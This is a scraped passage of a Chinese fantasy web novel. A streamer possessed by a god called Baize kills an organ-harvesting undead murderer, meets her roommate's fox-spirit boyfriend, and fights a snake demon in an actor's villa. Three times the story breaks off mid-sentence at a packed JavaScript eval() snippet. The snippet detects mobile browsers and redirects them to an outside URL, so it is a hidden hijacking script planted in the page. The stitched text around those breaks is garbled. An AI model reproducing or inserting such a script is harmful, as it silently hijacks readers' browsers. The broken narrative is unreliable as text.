“因为我们是同一类人啊,所以我来帮你。”安随冲他笑了笑。 男人看着她,似乎想从她脸上看出点端倪,不过她表现得太自然了,那笑看着甚至有些诡异,还真像那么回事。 男人一时吃不准她说话的真假,这种不确定的事,那就当最坏的结果处置,虽然,他并不想杀她。 “没想到人尽皆知的主播白泽,竟然也和我是一种人,如果你的粉丝知道了,不知道会有多少人心碎。” “你知道了,你会心碎吗?”安随反问他。 “我又不是你的粉丝。”男人垂下头,不再看她。 “那你刚才为什么不杀了我?还和我说了那么多废话?” 男人无话可说。 他确实在看清她是白泽时保留了一丝理智,自己这段时间通过她的直播,能力也得到了提升,他暂时还不想杀了曾经帮助过他的人。 但是,现在,他改变主意了。 挡他者死,不管是谁。 他已经在这和她浪费太多时间了。 男人心里打定了主意,发动了时间静止能力,满意地看到对方惊恐的眼神,随后一钢棍朝她挥了下去,对方顿时鲜血淋漓,整个人倒了下去。 还以为她有多强,也不过尔尔。 男人踢了踢地上毫无反应的女人,随后进了房间,继续进行着他没有完成的仪式。 他已经集齐了古籍里写的复活仪式的祭品,分别是大脑、子宫、腿、手、心脏,中间因为试验了下自己是否掠夺了静止能力,还杀了个警察,不过人太多了,他便没有拿走他的器官,如今已经集齐,只要念完咒语,他便能复活。 是的,男人已经死了,如今不过是一副没有温度的尸体。那天他发现同居了三年的女友居然背着他和其他男人约会,甚至密谋着把他杀掉,好摆脱他的控制,愤怒之下,他驱车去追他们,车却被人动了手脚,他在一条山路上出了车祸,当场死亡。再次醒来以后,他发现自己成了活死人,没有呼吸,却能思考,能行走,还觉醒了掠夺的能力,但他想活过来,而不是成为现在这副不死不活的样子。 无意中他发现了这本古籍,他太想活过来了,不管真假,他都会去试,于是便有了这几起死亡的事件。 警察是他自己撞上来的,不是他主动想杀的,白泽也是她非要上门找死,他也不想杀她。 所以,他没有杀掉任何一个无辜的人,他们都该死。 男人安慰着自己,总算念完了冗长的咒语。 他有些紧张地注视着这一切,却发现那五样祭品依然完好地在那,而他摸了摸自己的胸口,还是没有心跳。 怎么回事?为什么他的仪式没有成功? 到底哪里出了问题? 对,肯定是白泽。都怪她,要不是她打断了他,他现在已经活过来了。 一想到这里,男人气得起身便要去鞭尸,结果起身时,却发现门口站了一个人。 他吓了一跳,在看清来人的长相时,满脸的不可置信:“你没死?” 那钢棍明明朝她的脑袋上砸了下去,甚至已经看到有鲜血流了出来,为什么现在她还能完好无损地站在他面前? 对面的白泽没有说话,只是冷冷地看着他,好似看一只蝼蚁。 这个眼神无疑再次激怒了男人,只见他再次发动了静止能力,想要如法炮制地把她杀掉,可他却惊恐地发现,白泽竟然能动,甚至朝他走了过来。他愣在了原地,不知道为什么自己的能力失效了,而他的身体变得僵直,一动不动,眼睁睁地看着对方拿着先前的那根钢棍离他越来越近,随后他便觉得两眼一黑,一阵剧痛袭来,他的世界再次陷入了黑暗。 为什么…… 明明,他就要活过来了。 明明,他只是想活下去啊…… 当警察得到消息赶来时,歹徒已经倒在了血泊中,他整个人仰躺在地上,脸上写满了不可置信,似乎没明白自己为什么就这么死了。 白泽站在旁边,静静地看着警察清理现场。他们在现场发现了一本画风恐怖的泛黄书籍,上面记载了如何复活,显然男人便是照着书籍的做法来举行复活仪式,只是他要复活的人是谁,暂时不知。这种反人类的书籍必须销毁,绝不能让它落入其他人手中,否则后果不堪设想。 白泽下了楼,将现场交给了警方处置。 今越也得到消息赶了过来,在见到完好无损的安随时,才长长地松了口气:“太好了,你没事。我听申警官说是你报的警,也是你杀了歹徒,你放心,你的行为最多只是正当防卫,何况那种十恶不赦的歹徒,你不杀他死的就是你。” “你这次立了大功啊,我这就和总局的人报告这个事情,让他们给你记个功。” 今越絮絮叨叨地说着,却发现安随一直没有回应,她侧头望向安随,便见对方目光一直注视着前方,对她说的话视若罔闻。今越以为她是被吓到了,毕竟那歹徒特别凶残,而且她脑袋上似乎还有个伤口,走在她后面一看,甚至能看到粘在头发上发黑的血迹。 今越连忙问道:“你脑袋受伤了?” 她小心翼翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安随有些无奈地道:“好吧,我承认我是抱着你必会救我的心态找上门去的,我知道,你不会看着我被他杀死而无动于衷,因为,我们的命绑在了一起,我死,你也会死,所以你拼了命也会救我。” 白泽冷笑:“呵呵,你确实抓住了我的命脉,知道我不会看着你死。但是你错了,你死,不代表我也会死。” 安随心里一惊:“什么意思?我们的命不是共享的吗?” “那是以前为了让你好好直播骗你的,本君可是人世间唯一的神,怎么会与你这个凡人共享命运?” 安随看着虚空里的缥缈,突然自嘲地笑了:“好吧,是我自作多情了,那尊贵的神君,您什么时候能离开我的身体,回到您高贵的神界去啊?” 空间安静了几秒后,白泽说道:“快了。” 空间再次安静了,没有人再开口说话。 白泽突然有些烦躁,这个平日里牙尖嘴利老爱顶嘴的安随,怎么就不说下去了? 他对她还不够好吗?她还想怎样? 今天她能赌上自己的命以身犯险,只为让他出手相助,明天她是不是就要上天入地了? 眼见着他恢复真身的日子越来越近,他恢复的那天也是他离开人界的时候,到时候这里只有她,没有了他的庇护,她要怎么在妖怪横行的人界生存下去? 若不让她早日独立起来,以后的她寸步难行。 她要恨就恨吧,反正他离开人界,也不会与她再有交集,他对她已经仁至义尽了。 两个人自此谁也没再开口,麻药过后,安随便从身体里醒了过来。 54. 第 54 章 此刻的安随躺在病房里,今越守在旁边,医生说等她醒了就可以回家了,因此她一直在这等安随醒来。 见安随醒了,今越连忙道:“你感觉怎么样?头还疼吗?” 安随没多大感觉,摇了摇头,这一摇却又觉得疼了,因此不敢再大幅度用力。安随又在病房里待了会儿,见没那么难受了,这才和今越打车回了办事处。 今天是周六,安随没有上课,因此可以在这多呆一会儿。孟博三人也在,也知道了安随把那歹徒制服的事迹,见她头包着纱布,却像没事一般,对安随更加佩服了。 “安随,没想到你这么厉害,干脆你来当我们队长得了。”孟博开玩笑道。 “喂,你们好歹给我留点面子啊。”今越嚷嚷道,却被肖楚继续往伤口上撒盐,“队长,你把队长之位给她,还能少受点累,多好。” “好,好。”冯飞结结巴巴地应和。 今越听得更加破防了:“你们这群白眼狼,我平日都是怎么对你们的,关键时刻拆我台。” 安随见他们玩笑也没个节制,连忙道:“你们别取笑我了,我还在上学呢。” 队长不止要能力强,还要协调各种事项,累成狗,她才没那么傻,何况,她现在在上学,肯定要以学业为重。 几人也只是口嗨,没有继续说下去,但是对安随却是心服口服,看到安随为此受伤,失了不少血,几人还给她炖了一锅猪肝、猪血、羊血之类的食物,吃得安随觉得自己满嘴的血腥味,最后实在受不了说什么也不再吃了。 晚饭过后,便是几人的复盘时间,今越问了三人今天遇到的特殊事件的情况,最后确认那三起杀人事件与今越她们遇到的都是同一名歹徒所为,只因为轻信了那本古籍上的记载,便失去了六条人命,虽然那人已经死了,却还是觉得他死不足惜。 孟博气得说话都在颤抖:“气死我了,怎么会有这么凶残的人啊?他不会是妖怪变得吧?” “刻板印象了啊,妖也有好的。”今越不赞同道。她可记得安随还有好几个妖怪朋友,可别在她面前说错了话。 “不过那人也太蠢了,怎么会随便相信一本书啊?只要上过九年义务教育的,都知道这种事是不可能存在的吧?”肖楚摩挲着下巴,故作深沉道。 今越:“你别忘了,现在这个世界已经不是原来的世界了,什么事都有可能发生。” 肖楚的动作一顿,也不摸下巴了:“呵,说得也是。” 这个世界如今就像一张被外来物种撞得支离破碎的巨网,外面的物种横冲直撞想要进来,里面的人缝缝补补苦苦撑着。 今越他们便是那群苦撑的人。 安随一直没说话,听着他们讲这些,偶尔会讲几句对特事局的吐槽,说他们办事效率太低了,早就打了报告让派人来,结果迟迟没见人过来报道,也不知道在磨叽什么。 安随在办事处待在六点多,晚饭吃了便回了学校。 而今越将安随的事情上报了特事局,并且再次和他们说了增派人手的事。目前办事处的四人实力都不算特别强,而且因为锦城算是特殊事件比较多的城市,他们经常都要出去,偶尔还会有人手不够的时候,如果再不派人来,他们真的要转不过来,只能找安随来帮忙了。 特事局那边自然连连答应,但没有具体说新的人手什么时候来,只让他们等着,今越郁闷得都快吐血了。每次都让他们等,也不知道要等到什么时候。 安随回到宿舍已经七点了,宿舍里一个人也没有。最近她一有空就往办事处跑,和室友的联系倒少了,蒋栗忙着谈恋爱,宋知冉不知道在忙什么,也经常看不到人,而孟与,那更是十天半个月碰不到一次,每个人都在自己的轨迹中生活着,偶尔才有交集。 安随刚回来没多久,宋知冉也回来了。见安随在宿舍,宋知冉还有些惊讶:“安安,你什么时候回来的?” “刚回来一会儿。”安随看了她一眼,这么一看,却觉得她哪里不一样了。她仔细端详着宋知冉,对方被她看得怪不自在的,“你看什么呢?我脸上有脏东西吗?” 安随总算想起来是哪里不一样了。 “你涂口红了?”她好似发现了新大陆一般,“以前没见你涂过口红啊,这是,谈恋爱了?” 宋知冉恨不得捂住她的嘴巴:“你小点声。” “怕什么?这里不就我们两个人?有什么不能说的?”安随不理解,谈恋爱不是很正常的事吗?干嘛遮遮掩掩的? 宋知冉却变得吞吞吐吐:“他,他有点不一样。” “哪里不一样?”安随不解,“不都是一个鼻子两只眼睛?难道他帅到惨绝人寰?” “那倒也没有。”宋知冉突然有点难以启齿,但一想到对方是安随,便还是鼓足勇气道,“他会变身。” “变身?”安随愣了,这又是什么新技能? “就是,他大多数时间是人,偶尔会变成狐狸的样子。” “哦……” 狐妖啊。 安随恍然大悟。 不过她老是在电视剧里听到“人妖殊途”这句话,不知道如今被妖怪入侵的人界适不适用。 “能和我说说你和他的事吗?”安随还挺好奇,到底是怎样的妖怪能把宋知冉迷得神魂颠倒。不过狐狸精嘛,能把人迷住也正常,就是不知道这狐狸精是好是坏,如果他做了伤害宋知冉的事,那就别怪她不客气了。 电光火石间,安随突然觉得哪里不对。 宋知冉是怎么坦然接受她的男朋友能变身的事?难道她已经发现了这个世界的变化?她又是怎么坦然和她说这种事?难道她也知道了她的秘密? “嗯……这事说来话长。”宋知冉开始回忆过去,脸上带着甜蜜的笑容。 宋知冉和她男朋友的相识要追溯到几个月前,那天晚上她从酒吧里出来,结果被一群醉汉围堵,是他出手相救,不过那次他们并没有留下联系方式。 安随听到这里也想起来了,好像有一天晚上宋知冉很晚都没回来,还是她让白泽帮忙找。安随没想到这事还有后续。 第二次相遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋知冉没想到现在信息那么发达的时代,居然有人不知道微信是什么,然后问他有手机吗,也说没有。宋知冉便觉得奇怪,对方几次在学校里出现,她还以为是学校的学生,这么看来不是了,只是不知道他怎么老是出现在这里,又为什么老是在她危难的时候救她。 宋知冉便有了个大胆的猜测,对方不会是对她有想法吧? 这个认知可把她兴奋坏了,因为她也对他有想法啊! 只不过这人只是默默地做事,半天憋不出一个屁来。宋知冉却是个不喜欢拐弯抹角的人,喜欢有什么事敞开了说,于是先表白了,说喜欢他,问他喜不喜欢自己,如果喜欢,两个人就在一起。 然后那人沉默了会儿,点了点头。 两人就这么在一起了,距今已经有一个月的时间。 在一起后,她有一次突然发现她的男朋友居然会变身,变成浑身漆黑的狐狸,摸他的耳朵还会红温,又可爱又惹人怜,可把她喜爱惨了,于是老是央着他变身给她顺毛。 宋知冉讲到这里总算讲完了。 安随憋了一肚子话,总算可以问了:“你怎么那么容易就接受了他变身的事?你不觉得害怕吗?” “啊?可是我也见过那你变身的样子啊?我也不害怕你啊。”宋知冉说到这里,这才惊觉自己说漏了嘴,连忙捂住自己的嘴巴。 安随:“???” 她什么时候变身过了? “你在说什么?我怎么听不懂?我怎么不知道我还会变身了?” “就……有一次,你打怪兽的时候,你只轻轻一戳,那怪兽就消失了,明明平日里,你只是个连瓶盖都拧不开的小女生啊,一下子力气那么大,可不就是被大力士附身了?” 安随:“!!!” 55. 第 55 章 原来,在很早以前,她就已经掉马了,也难为宋知冉在心里憋了那么久。 怪不得她对妖怪的事情接受度那么高,原来是早就已经经历过了。 “那蒋栗和孟与知道我的情况吗?” “我没和她们说,我答应过你,不能告诉任何人的。” “暂时别和她们说吧。”安随想了想道。这个世界还没到崩溃的地步,没必要引起更多人的恐慌。 宋知冉点了点头:“我知道的。” “什么时候让我见见你男朋友呢?” 虽然听宋知冉的讲述对方对她应该是无恶意的,但是安随没见过,还是有些不放心。宋知冉单纯,可别被骗了。 “他刚把我送回来,应该没走远,我让他等一等吧。”宋知冉说着便给对方打电话,好在他还在附近,便让他在学校门口等一等,而安随两人出了学校和对方碰面。 十五分钟后,三人在学校附近的咖啡馆碰面。 在见到墨引本人时,安随是有些惊讶的,只见对方穿着一身黑衣黑裤,柔顺的头发垂在耳边,遮住了大半个耳朵,但还是隐隐能见到露出来的一截狐耳。他的头低垂着,让人看不清面容,手指无意识地摩挲着桌面,听到动静,他这才抬起楼来,也让安随看清了他的脸。 那一瞬间,安随心头只有一个想法,宋知冉吃得真好,她都有点嫉妒了。 谁能拒绝这样一个眼里写着无辜脸上写着我很好骗的少年郎啊! 安随碰了碰宋知冉的胳膊肘,小声道:“姐妹儿你瞒得够深啊。” 宋知冉嘿嘿一笑:“那不是怕吓着你们吗?” 怎么会被吓着?喜欢得不得了好吗? 安随笑眯眯地坐在墨引对面,和他打招呼:“墨引你好呀,我是宋知冉的室友安随。” 墨引看了看宋知冉,见对方点头才开口道:“你好。” 宋知冉坐在墨引旁边,对方立马就贴了上来,把她的手捂在怀里给她暖手,他的眼睛亮晶晶的,像一只被人遗弃的小狗终于找到了愿意收留它的主人,眼里只有它的新主人。 而他除了刚开始和安随打了个招呼,后面几乎没看安随一眼。 “安安看着呢。”宋知冉抬头,刚好看到安随戏谑的笑,顿时觉得脸也跟着烧了起来,试图把手从墨引手里抽开,却失败了。 “外面风大,你的手好冷。”墨引说着,搓了搓她的手,试图给她搓热。 安随看得牙都快甜掉了。 她也好想谈恋爱啊。 安随觉得自己待不下去了,于是和两人说了一声,便起身离开了咖啡厅。 还是把时间留给两个人吧,继续呆在这里她怕得糖尿病。 外面风呼呼地吹着,天空下起了小雨,出来的时候两人都没带伞,安随便又去隔壁的超市买了三把伞,给他们带去了两把,这才打着伞往学校方向走去。 锦城的天空灰蒙蒙的,似乎永远没有晴天,最近几个月的感觉更深,连着一个月都是阴雨天,整个人都感觉湿漉漉的,没有晒干的时候。 城市的气息潜移默化地改变着,安随敏锐地发现,这个城市已经不再像以前那般宁静了,暴风雨似乎随时都会来临。 安随回了学校,今天没课,她也不用直播,她便能早早地进入修行。 两个多月的修行,让她的气质也跟着变化,隐隐有成熟的的气势,而她的五感和力量都变强了,从今天和歹徒的搏斗中,她便发觉自己有个劣势,那就是对武器一窍不通。 现代文明社会普通民众不需要熟悉武器,但是现在,社会已经变得没那么文明,越来越多的伤人事件发生,民众的怨念越来越深,官方已经隐隐有压不住的趋势,或许某一天,最后一层窗户纸也会被捅破。 安随不得不提前谋划起来。 但她在学校,受场地所限,并不能干什么,唯一想到的,便是在那个虚无空间里练习,不过,怎么把武器带进空间里又是一个问题。 经过白天的事,安随和白泽又再次陷入冷战。但安随想到这个点了,便想去做,虽然有点尴尬,不过她脸皮够厚,也就不觉得有什么了。 她试图唤了声“白泽”,意料中的没有得到回应。 安随叹了声气,看来这次白泽确实是生气了。 安随只能先将此事搁置,后面再找机会和白泽说。 她也隐隐意识到自己太过依赖白泽了,如果有一天白泽离开人界,而人界是否会陷入混乱还是个未知数,她必须在这之前提升自己的能力,若真的有那么一天…… 安随甩了甩头,不让自己想下去。 当务之急还是提升自己的实力。 安随很快便进入了修行状态。 先前白泽一次性给了她二十多颗妖核让她吸收,她发现自己吸收妖核的速度也变快了,以往两天一颗,现在已经能一天一颗了,手里也没剩几颗妖核,她也得出去寻找妖核了。 不能再依靠白泽的帮忙。 安随在心里下定了决心。 今天修行的速度依然很快,甚至比先前还要快,一颗妖核只用了一半的时间,她还没有来得及享受这种喜悦,想要脱离修行状态时,却听得白泽说:“继续。” 安随被硬生生地拉回了修行状态,且她感觉到周身围绕着浓郁的灵气,是她从未见过的。那灵气呈淡淡的雾气状,她的嗅觉敏锐,似乎还闻到了空气中带的香甜气息。 安随还没来得及回味,便又进入了那种玄妙的状态。 安随这一修行,便一直到了第二天晚上,连小凤凰也没有把她叫醒。 蒋栗见安随一直睡着,有些担心,都准备打120了,宋知冉却道:“让她睡吧,她昨天受伤了,多睡一会儿好养伤。” 蒋栗也没多想,便出去了。 宋知冉守在宿舍里,看了会儿书,中途墨引给她发信息说想她,她也忍着没出去见他。在安随醒来之前,她不会离开宿舍。 宋知冉是知道安随与众不同的,也大概知道这个世界经历了什么,因此对安随身上偶尔会出现的怪异现象也不会太过惊讶,甚至帮着她打掩护,以打消蒋栗的好奇。 宋知冉就像一脚踏在真相的边缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16942872|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,而蒋栗便是被隔绝在真相之外的人。真相太过残酷,还是不知道的好。 有的时候,什么都不知道反而是最幸福的那一个。 宋知冉一直守着安随,直到晚上九点她才醒了,醒来以后,她便第一时间注意到了安随的变化。 “安安,你脸上粘上什么东西了,怎么那么脏?” 刚刚醒来的安随:“???” 安随拿镜子照了下,这才发现自己脸上粘满了黑乎乎的东西,除了两个眼睛露了出来,其他都沾满了。 她的鼻子异常敏锐,也嗅到了自己身上传来的一股恶臭,臭得她差点都吐了,安随再也忍不住跑到卫生间,先简单清洗了下脸,这才拿上换洗衣服去洗澡。 安随洗了快一个小时才把身上的脏东西洗掉了,洗完以后,感觉自己整个人都轻了,安随估计她体重下降了不少,一称体重,本就没涨多少肉的她这下全掉回去了。 安随叹气,体重不好涨啊。不过她没叹气多久,便发现自己的肤色似乎比以往白了许多,她脑子里有无数个问号,立马呼叫白泽。 她的这一变化是从昨天晚上开始的,昨晚白泽跟疯了一样,把她关在空间里,让她不停地修行,期间她手里的妖核都用完了,本以为能松了一口气,结果白泽又变态地拿了些妖核让她继续吸收,安随一脸生无可恋,把白泽想象成了周扒皮,几乎咬牙切齿地把妖核吸收完了。 静止的空间里,她感觉不到时间的流逝,也不知道自己在里面呆了多久,以往她都是被小凤凰叫醒的,可今天,小凤凰却一直没叫她,她就这么一直吸收着妖核修行,那么多妖核被她一天就吸收完了。 等最后一颗妖核吸收完时,她甚至能感觉到自己浑身的骨头都在响,灵气环绕在她周围,她整个人都处于飘渺的状态,连走路都是飘的。 那种失重感让她很不适应,犹如断线的风筝,似乎下一秒就会失去方向,散落在天地间。 而后安随真的觉得自己飘在了空中,脚下悬空的感觉让她失去重心,身体东倒西歪,她吓得尖叫:“白泽救我!” 她恐高!这种踩在棉花上的感觉真的很让她害怕,犹如无数次在梦中一脚踏空摔下去一般,每次都能把她吓醒。 下一秒,她便感觉自己落在了一个温暖的怀抱里,耳边是白泽沙哑而又有力的声音:“别怕,我在。” 那一瞬间,安随整颗心都安定下来。 耳边温热的呼吸让她产生一种错觉,似乎白泽就在眼前,可回头望时,身后却空无一人。 她正被一团灵气怀抱着。 说不出心里是什么感觉,只觉得空落落的。 等双脚踏上了实地,身后的温热也跟着消失了。 白泽的声音再次传来:“从今天起,你已经能独当一面了,你要学会控制你的能力,让自己成为它的主人。” 他这是,什么意思?是她想的那样吗? 安随脱口而出:“你要走了吗?” “我只是在告诉你,你已经不需要我的帮助了,这人世间,除了我,你再无对手。” 56. 第 56 章 再无对手吗?听着好像有点厉害,安随都有些好奇了,不知道自己厉害到了什么地步。 而白泽却没有回答她的问题,而后说道:“出去吧,你已经不需要留在这里了。” 还未等安随回过神,便觉得有一股力量将她往外推,让她根本无法阻挡。 随后,她便醒了。 安随望着镜中的自己,竟觉得有些陌生,都快认不出自己了。 沐浴完后,不仅是皮肤变白了,整个人的气质也变得有些不一样,这是她肉眼能见的变化。至于能力方面的变化,只有试了才知道。 想到这里,安随缓缓闭上眼,凝神静听,四面八方的声音穿过墙体传到了安随的耳朵里,纷繁乱杂,甚至安随还听到了高铁站的语音播报声,而这里离高铁站,二十公里远。也就是说,她已经能听到二十公里内的声音,比先前的五百米翻了数倍。 安随睁开眼睛,再次凝神,透过浴室的墙壁,无数画面映入眼帘,不同的场景,不同的人,出现在安随眼前,犹如上演一场场人间独有的精彩戏剧。 倏地,一个熟悉的人影出现在她眼前,似乎还陷入了危机。 只一瞬间,安随心念一动,人便到了数公里外的在云间别墅区。 难得早早收工,贺知舟在结束自己的拍摄戏份后,便让司机送他回了家。他们先是送严颜回了家,最后才送他回在云间。路过那条路灯微弱的山路,想到了上次在这里和白泽偶遇,昨天又在家里见到她和警察一道前来,当然也听说了别墅里发生时见到的不一样,那时她眼神明明是热烈的,和周围的浪潮融合在了一起,如今,却似乎从那热情中抽离出来,变成了淡淡的,没有交集的感觉。贺知舟说不出是什么感觉,也不知道自己为什么突然想起了她,明明这条路就走过好多次了。 “贺先生,到了。”司机将车开到别墅门口,叫了他一声。 贺知舟收回思绪,应了一声,这才下了车。 直到车身消失在黑影里,贺知舟才开门进了别墅。 接连一个多月的连轴转,已经让他有些筋疲力尽,每天都拍到很晚才回家,今天已经算是最早下班的一天了。贺知舟进了屋,给自己倒了杯水,便瘫在沙发上,闭目养神。 窗外黑漆漆的,看不清一点,旁边的那栋别墅因为昨天的凶杀案,凶手死后,这栋别墅也被查封了。 窗户似乎没关好,窗帘被吹了起来,飘在半空中。不知道怎么的,贺知舟竟觉得有些阴冷,他拉了条薄被盖在身上,竟在沙发上睡着了。 风似乎大了,将窗户刮得呼呼作响,却并没有吵醒熟睡的男人。 很快风便停了,一个灰衣男人从黑夜里走了出来,如入无人之境般进了贺知舟的院子,然后到了客厅,在熟睡的贺知舟面前站定。 他欣赏了会儿贺知舟的睡眼,发出了一阵满足的喟叹声。而后,便见他蹲在贺知舟面前,从他额角顺着脸颊往下移,缓缓抚摸。 熟睡的贺知舟做了个梦,梦见自己似乎被一只吐着信子的毒蛇盯住了,那种毛骨悚然的感觉让他浑身都变得紧绷,想要逃离却发现自己的脚犹如灌了铅一般,动弹不得半分。 他的呼吸也变得困难,喘息声也越来越重,那毒蛇慢慢向他靠近,信子在他脸上舔了舔,滑腻的感觉和腥臭味差点让他吐了。他好似被人绑住,身上没有一个地方能动,只能被动地承受着毒蛇的舔舐。 心跳变得很快,似乎下一秒就会从胸腔里跳出来。 谁来救救他? 脑中突然变得一片清明,而后,他便觉得自己能动弹了,毒蛇也跟着消失,周围又恢复了虚无。 贺知舟喘息着睁开眼,看到熟悉的别墅才松了一口气,只不过他很快便又提起了气。 只见一个陌生男人站在离他几米远的地方,一脸警惕地看着他。 贺知舟很确定自己并不认识这个人,也从未见过此人,所以,他是怎么进来的? 几乎在一瞬间,贺知舟便从沙发上跳了起来,顺手抄起茶几上的花瓶,一脸警惕地看着他:“你是谁?怎么会出现在我家?” 那个男人打量了他一会儿,似乎在确定什么,过了会便见他突然露出一个诡异的笑容:“既然被你发现了,那我便摊牌吧,我是来要你的身体的。” 贺知舟一听这话还以为自己遇到了变态,顿时一阵恶寒,义正言辞道:“你别做梦了,我没那方面的嗜好,现在,立刻从我家里离开,否则我报警了。”说着,贺知舟便将手按在了键盘上,双眼死死地盯着对方,而手已经快速地按出了110三个数字。 就在快要拨通时,他却发现自己手机不知道何时被对方打飞了,而后又落在了对方手里。 男人一脸嫌恶地看着贺知舟:“我也没有那方面的嗜好,我看中的是你的皮囊,还有,你的信仰之力。” 贺知舟听得云里雾里,不知道对方在说什么,但是就凭对方不知不觉间就把他手机拿到手,他便意识到自己今天遇到了前所未有的危机。眼前的人绝不是来简单的入室抢劫,他要的是他的身体! 信仰之力又是什么? 他一瞬间以为自己遇到了极端的邪教分子,脑子里开始快速想着对策,又有谁能在此刻解除他得到危机。 灵光一闪,他便想到了白泽。 不过他很快摇了摇头,这个时候,谁也救不了他,他只能自救。 贺知舟环顾了下四周,很快便瞥见了没有关严的窗户,想来对方便是从这里进来的,而这扇窗户,也是他此刻的逃生通道。 眼见着对方离他越来越近,电光火石间,贺知舟将手中的花瓶摔碎,抓起一把碎片便朝对方扔去,他本想趁着对方躲闪的时间从窗户处逃生,然而眼前的一幕却让他惊呆了,只见花瓶碎片落在男人身上,却似碰到了什么坚硬的东西,纷纷从他身上落了下来。 耳边似乎还能听到男人的冷笑声:“不自量力。” 随后,那种滑腻腥臭的感觉又出现了。他甚至还能清晰地看到男人脸上若隐若现的鳞片。 恐惧在此刻被无限放大,贺知舟任凭对方抚摸着他的脸,大脑已经宕机了,身体动弹不了半分。 在绝对的力量面前,连徒劳的反抗都成了奢侈。 男人似乎抚摸够了,这才放开了他,随后双手抓着胸口,从中间往两边慢慢撕开了一条口子,那口子越撕越大,直至将男人撕成了两半。一只蛇尾从里面蹦了出来,随后是长长的蛇身,而后是吐着信子的蛇头。 贺知舟在见到和梦中出现的一模一样的蛇时,整个人已经失去了思考,眼前陷入了黑暗。 蛇妖满意地看着贺知舟晕了过去,随后身体盘成了一团,而贺知舟的身体便被它 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但盘踞在这里也不是个事,因为它观察过这个人,是个大明星,平常他的助理也会来他别墅里,明天她就会发现他失踪了,而它换皮的过程需要三天,这三天呆在哪里又是个问题。 “就不该吓唬他把我的皮囊给撕了。”蛇妖有些懊恼。他刚才怎么就脑袋一热把这副皮囊给撕碎了呢?没碎的话还能扛着人出去,不过扛着这么大一个人出去,也会被发现。 啊啊啊啊啊!到底怎么才能离开这里啊! 蛇妖崩溃了。 “你可以把监控拆了啊。”一个女声突然说道。 “对啊,我怎么没想到?”蛇妖恍然大悟,而后觉得不对劲,这里怎么还有女人的声音?难道这人带女人回家了? 它竖起身体,将蛇头对准了前方,便见一个女孩出现在门口,随后缓缓朝它走来。 “你是谁?怎么会出现在这里?”蛇妖开口询问。 安随反问道:“你又是谁?怎么会出现在这里?这不是你家吧。” “以后就是我的家了。”蛇妖说道,随后觉得不对,“你还没回答我的问题。” “我是来收你的呀。”安随突然笑了,她的脸很柔和,没有什么攻击性,说话的声音也温温柔柔,然而说出的话却让蛇妖觉得毛骨悚然。 天生对环境比较敏锐的蛇妖一下子便意识到了危机,它将贺知舟的身体缠得更紧了,随后快速朝窗户移动,想要从那里逃出去,哪知安随的速度比他更快,在他爬上窗户的一瞬间,窗户便被关严实了,巨大的蛇身打在窗户上,将玻璃也震碎了,甚至有碎片往贺知舟脸上落,却见蛇妖一个翻身便将贺知舟保护在下面,而自己坚硬的蛇皮面对着数道玻璃。 怕贺知舟受伤,蛇妖将贺知舟卷到一个安全的范围后,这才愤怒地注视着安随:“不管你是谁,胆敢损坏我的皮囊,我都要将你绞碎!” 随后,便见它大吼一声,身体暴涨,头顶顶到了别墅的天花板,吐出的信子也暴涨,几乎有一米长。它居高临下地看着渺小如蝼蚁的人类,冷冷地说道:“人类,我给过你机会了。” 本以为此话会让对方害怕,哪知对方脸上丝毫没有惧意,反而好奇地摸了摸它的尾巴:“你的鳞片真硬,可以留下来做件战甲。” “那么,我要小心点了,一会儿打架的时候,可别弄坏了我的战甲。” 57. 第 57 章 这话无疑更加激怒了蛇妖。 “人类,你太瞧不起本妖了,受死吧!”说着,便见蛇妖操控着蛇尾朝安随甩了过去,本以为就此能将她甩飞,那里知道对方却灵巧地躲过,甚至还爬上了它的尾巴。 蚂蚁爬上人类的身体也会产生瘙痒感,而安随爬上蛇妖的尾巴后,对方得到的也是相同的感觉。蛇妖痒得不行,下意识地想要伸手去挠,却忘了自己已经没有了人皮,甩出去的身体重重地打在房间里,地面顿时裂开一条巨缝,然而那瘙痒感仍然在,于是,只见蛇妖的身体在客厅里疯狂地舞动着,将别墅毁得七零八落,犹如灾难现场。可安随却丝毫没有受影响,仍然抓着蛇尾,慢慢往上爬着。 剧烈的声响也惊醒了昏迷的贺知舟,他脑袋一阵眩晕感传来,头也有些疼,好半天才缓过来,然而一睁眼,便被眼前的景象惊住了。 只见一条巨大的蛇盘旋在他的家里,不,这已经不算是他的家了,房间被破坏得几乎看不出原貌,他花重金装修的别墅,此刻已经与废墟没有多大区别了。 根本来不及心疼这些,此刻他想的就是如何逃命。那蛇妖似乎注意力并没有在他这里,没有发现他已经醒过来,正是他逃跑的好时机,此刻,他心里只有一个念头,那就是逃离这里,寻找救援。 别墅里的电路系统也被破坏,光线忽明忽暗,好似鬼片里的场景。贺知舟心里虽害怕,却还是趁着昏暗的灯光和外面的月光往窗户方向挪动。 然而一个女声却骤然响起,贺知舟顿时不动了。 “蛇头没什么用,就从这里下手吧。” 一瞬间,贺知舟还以为自己出现了幻听。在这个如此恐怖的场景里,他怎么听到了一个熟悉的声音?在他呆愣的功夫,他便又听到了从那只蛇的身体里发出了哀鸣声,随后“砰”地一声,便见那庞然大物轰然倒地,激起的尘埃模糊了贺知舟的视线,甚至有些还钻到了他的眼睛里,他连忙躲了过去,适应了好一会儿才再次看清眼前的场景。 一个人影从蛇的巨型身体上下来,而后那身体也渐渐变小,变成了他先前所见的大小。那人影在黑暗中看不太清,只能看到高耸的马尾在脑后飘扬,而后那人影离他越来越近。他下意识地吞了吞口水,退后了两步,碰到了坚硬的墙壁。 